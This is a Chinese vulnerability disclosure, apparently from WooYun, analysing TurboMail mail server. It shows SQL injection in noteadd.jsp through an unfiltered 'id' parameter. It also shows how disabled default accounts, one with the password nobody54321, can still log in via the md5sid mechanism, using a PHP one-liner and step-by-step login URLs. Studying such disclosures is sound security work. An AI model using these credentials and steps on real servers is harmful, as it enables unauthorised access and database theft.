turbomail mysql_TurboMail 前台sql注入漏洞

0x1 前台注入turbomail\web\webapps\ROOT\enterprise\noteadd.jsp:

...

UserInfo userinfo = ms.userinfo;

if (userinfo == null) {

XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);

return;

}

String id = request.getParameter("id");//id参数传入,没有过滤

Note note = null;

String cmd = "add";

if(id!=null){

note = Note.findById(id); //跟进findById方法

cmd = "edit";

}

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

...

UserInfouserinfo=ms.userinfo;

if(userinfo==null){

XInfo.gotoInfo(ms,request,response,"info.loginfail",null,0);

return;

}

Stringid=request.getParameter("id");//id参数传入,没有过滤

Notenote=null;

Stringcmd="add";

if(id!=null){

note=Note.findById(id);//跟进findById方法

cmd="edit";

}

...

turbomail.jar\turbomail\note\NoteServiceImpl.class:

public Note findById(String id)

{

String sql = "select * from t_note where noteid=" + id; //拼接sql导致注入

Connection conn = null;

PreparedStatement pstmt = null;

ResultSet rs = null;

Note note = null;

try

{

conn = DB.getConnection();

pstmt = conn.prepareStatement(sql);

rs = pstmt.executeQuery(); //进入查询

...

1

2

3

4

5

6

7

8

9

10

11

12

13

publicNotefindById(Stringid)

{

Stringsql="select * from t_note where noteid="+id;//拼接sql导致注入

Connectionconn=null;

PreparedStatementpstmt=null;

ResultSetrs=null;

Notenote=null;

try

{

conn=DB.getConnection();

pstmt=conn.prepareStatement(sql);

rs=pstmt.executeQuery();//进入查询

...

0x2 默认用户登录之前TurboMail出过默认用户空密码登录的漏洞,http://**.**.**.**/bugs/wooyun-2014-058159,下载最新5.2.0 windows版本看到TurboMail给出的修补方式是禁用了这些默认账号。

mysql> select username,tpassword,enable from accountutil;

+------------+--------------------+--------+

| username | tpassword | enable |

+------------+--------------------+--------+

| nobody | bm9ib2R5NTQzMjE=3D | false |//密码为nobody54321

| postmaster | | true |

| sec_bm | | false |//空密码

| sec_sj | | false |//空密码

+------------+--------------------+--------+

4 rows in set (0.00 sec)

1

2

3

4

5

6

7

8

9

10

mysql>selectusername,tpassword,enablefromaccountutil;

+------------+--------------------+--------+

|username|tpassword|enable|

+------------+--------------------+--------+

|nobody|bm9ib2R5NTQzMjE=3D|false|//密码为nobody54321

|postmaster||true|

|sec_bm||false|//空密码

|sec_sj||false|//空密码

+------------+--------------------+--------+

4rowsinset(0.00sec)

nobody、sec_bm、sec_sj三个账号默认enbale=false,没有启用。尽管禁用了这三个账号,但还是可以利用的。系统还提供了另一种sid登录方式。turbomail.jar\turbomail\web\Login.class:

...

String md5sid = request.getParameter("md5sid");

md5sid = Util.formatRequest(md5sid, MailMain.s_os,

SysConts.New_InCharSet);...

else if (!md5sid.equals(""))

{

boolean bMD5SidAuth = MD5SidAdmin.auth(str_uid, str_domain,

md5sid);

if (bMD5SidAuth) {

userinfo = MailMain.s_auth.createUserInfo(str_uid,

str_domain);

}

}

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

...

Stringmd5sid=request.getParameter("md5sid");

md5sid=Util.formatRequest(md5sid,MailMain.s_os,

SysConts.New_InCharSet);...

elseif(!md5sid.equals(""))

{

booleanbMD5SidAuth=MD5SidAdmin.auth(str_uid,str_domain,

md5sid);

if(bMD5SidAuth){

userinfo=MailMain.s_auth.createUserInfo(str_uid,

str_domain);

}

}

...

由于该登录方式没有检查当前用户的启用状态,所以可以使用这三个账号登录前台,进而前台注入就能利用了。md5sid的生成是通过调用GetMD5Sid1方法:turbomail.jar\turbomail\auth\MD5SidAdmin.class:

public static void GetMD5Sid1(HttpServletRequest request, HttpServletResponse response)

throws ServletException, IOException

{

WebUtil.setResponseNocache(response);

response.setContentType("text/plain;charset=UTF-8");String username = request.getParameter("username");

String domain = request.getParameter("domain");String useraccount = null;

if (username == null) {

username = "";

}

if (username.indexOf("@") != -1) {

useraccount = username;

} else {

useraccount = username + "@" + domain;

}

useraccount = useraccount.toLowerCase();String strSNO = Util.getSNO();MD5SidUserAccount md5sidua = null;

synchronized (m_objLock)

{

md5sidua = (MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);

if (md5sidua == null)

{

UserAccount ua = UserAccountAdmin.getUserAccount(domain, username);

if (ua == null)

{

response.getWriter().write("nouser");

return;

}

String password = ua.getPassword();

if (password.startsWith("{md5}"))

{

password = password.substring(5);

}

else

{

password = Password.decode(password);

password = MD5.getHashString(password);

}

md5sidua = new MD5SidUserAccount();

md5sidua.m_strMD5Password = password;

md5sidua.m_strUserAccount = useraccount;m_hsMD5SidUserAccount.put(useraccount, md5sidua);

}

}

String snomd5password = strSNO + md5sidua.m_strMD5Password;

String strMD5Sid = MD5.getHashString(snomd5password);strMD5Sid = strMD5Sid.toLowerCase();MD5Sid md5sid = new MD5Sid();

md5sid.m_strMD5Sid = strMD5Sid;

md5sid.m_strSNO = strSNO;

if (ServerConf.i_LOG_LANGUAGE == TMConfig.LOG_LANGUAGE_CHINESE) {

MailMain.s_log.log("0", 4, 4301, "GetMD5Sid1 useraccount:" + useraccount + " strSNO:" + strSNO + " " + " strMD5Sid:" + strMD5Sid + " auth");

} else {

MailMain.s_log.log("0", 4, 4301, "获取用户的MD5,用户:" + useraccount + " 序号:" + strSNO + " " + " MD5ID串:" + strMD5Sid + " 认证"); //写入日志文件

}

md5sidua.m_hsSids.put(strMD5Sid, md5sid);response.getWriter().write(strSNO);//输出序号

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

publicstaticvoidGetMD5Sid1(HttpServletRequestrequest,HttpServletResponseresponse)

throwsServletException,IOException

{

WebUtil.setResponseNocache(response);

response.setContentType("text/plain;charset=UTF-8");Stringusername=request.getParameter("username");

Stringdomain=request.getParameter("domain");Stringuseraccount=null;

if(username==null){

username="";

}

if(username.indexOf("@")!=-1){

useraccount=username;

}else{

useraccount=username+"@"+domain;

}

useraccount=useraccount.toLowerCase();StringstrSNO=Util.getSNO();MD5SidUserAccountmd5sidua=null;

synchronized(m_objLock)

{

md5sidua=(MD5SidUserAccount)m_hsMD5SidUserAccount.get(useraccount);

if(md5sidua==null)

{

UserAccountua=UserAccountAdmin.getUserAccount(domain,username);

if(ua==null)

{

response.getWriter().write("nouser");

return;

}

Stringpassword=ua.getPassword();

if(password.startsWith("{md5}"))

{

password=password.substring(5);

}

else

{

password=Password.decode(password);

password=MD5.getHashString(password);

}

md5sidua=newMD5SidUserAccount();

md5sidua.m_strMD5Password=password;

md5sidua.m_strUserAccount=useraccount;m_hsMD5SidUserAccount.put(useraccount,md5sidua);

}

}

Stringsnomd5password=strSNO+md5sidua.m_strMD5Password;

StringstrMD5Sid=MD5.getHashString(snomd5password);strMD5Sid=strMD5Sid.toLowerCase();MD5Sidmd5sid=newMD5Sid();

md5sid.m_strMD5Sid=strMD5Sid;

md5sid.m_strSNO=strSNO;

if(ServerConf.i_LOG_LANGUAGE==TMConfig.LOG_LANGUAGE_CHINESE){

MailMain.s_log.log("0",4,4301,"GetMD5Sid1 useraccount:"+useraccount+" strSNO:"+strSNO+" "+" strMD5Sid:"+strMD5Sid+" auth");

}else{

MailMain.s_log.log("0",4,4301,"获取用户的MD5,用户:"+useraccount+" 序号:"+strSNO+" "+" MD5ID串:"+strMD5Sid+" 认证");//写入日志文件

}

md5sidua.m_hsSids.put(strMD5Sid,md5sid);response.getWriter().write(strSNO);//输出序号

}

md5sid生成方式为: md5(序号+md5(用户密码)), 而且系统也提供了调用接口,turbomail.jar\turbomail\web\MailMain.class:

...

String type = request.getParameter("type");

...

else if (type.equals("getmd5sid1"))

{

MD5SidAdmin.GetMD5Sid1(request, response);

}

...

1

2

3

4

5

6

7

8

...

Stringtype=request.getParameter("type");

...

elseif(type.equals("getmd5sid1"))

{

MD5SidAdmin.GetMD5Sid1(request,response);

}

...

利用方式:第一步访问URL:http://www.wooyun.org/mailmain?type=getmd5sid1&username=nobody&domain=root,生成md5sid并写入缓存,成功后会返回一个序号。算法已经知道了,获得序号后我们可以生成对应md5sid:

php -r "echo md5('序号'.md5('nobody54321'));"

1

php-r"echo md5('序号'.md5('nobody54321'));"

第二步使用md5sid登录(md5sid只能用一次):http://www.wooyun.org/mailmain?type=login&uid=nobody&domain=root&md5sid=生成的md5sid

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1、支持多种操作系统 支持Windows/Linux/AIX/FreeBSD/Solaris/HP-UX等多种操作系统,并针对各种系统进行个性优化,使得产品在各种操作系统下的运行最优化。 2、傻瓜式安装和维护 无论在任何操作系统下两分钟内都可以完成安装,在Unix/Linux下实现邮件系统无痛苦安装;邮件系统采用纯WEB的管理方式,脱离繁杂易错的命令行管理模式。 3、内置电子邮件全文搜索引擎 对邮件标题、发件人、收件人、时间、内容、附件进行全文索引,实现邮件全文搜索。 4、高级中继功能和海外转发服务器保证全球收发 可根据设定的条件使用多个邮箱进行邮件中继,可使用海外服务器进行中转,确保用户畅通地发送邮件。 5、全面到位的邮件管理体系 对进出邮件进行监控,或对进出邮件设置审批,确保公司机密不通过邮件泄露;邮件归档,查找所有历史邮件;邮件跟踪,用户可查询发件的状态。 6、完美移动邮件支持(WAP, 短信) 随时随地用手机登陆个人邮箱,收发邮件,查看或下载附件;发送邮件时,即发送手机短信提醒收件人;自设条件,收到满足条件的邮件时短信提醒自己。 7、内置强大的多层反垃圾引擎,98%以上拦截率 九层反垃圾隔离模块:网络控制、来源分析、黑名单、灰名单、趋势分析、邮件来源判断、Spamfilter内容过滤、SpamAssassin引擎、TMSpamCheck反垃圾技术。 8、内置专业邮件反病毒引擎 内嵌著名的专业针对邮件病毒的ClamAV反病毒引擎;病毒库自动升级。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值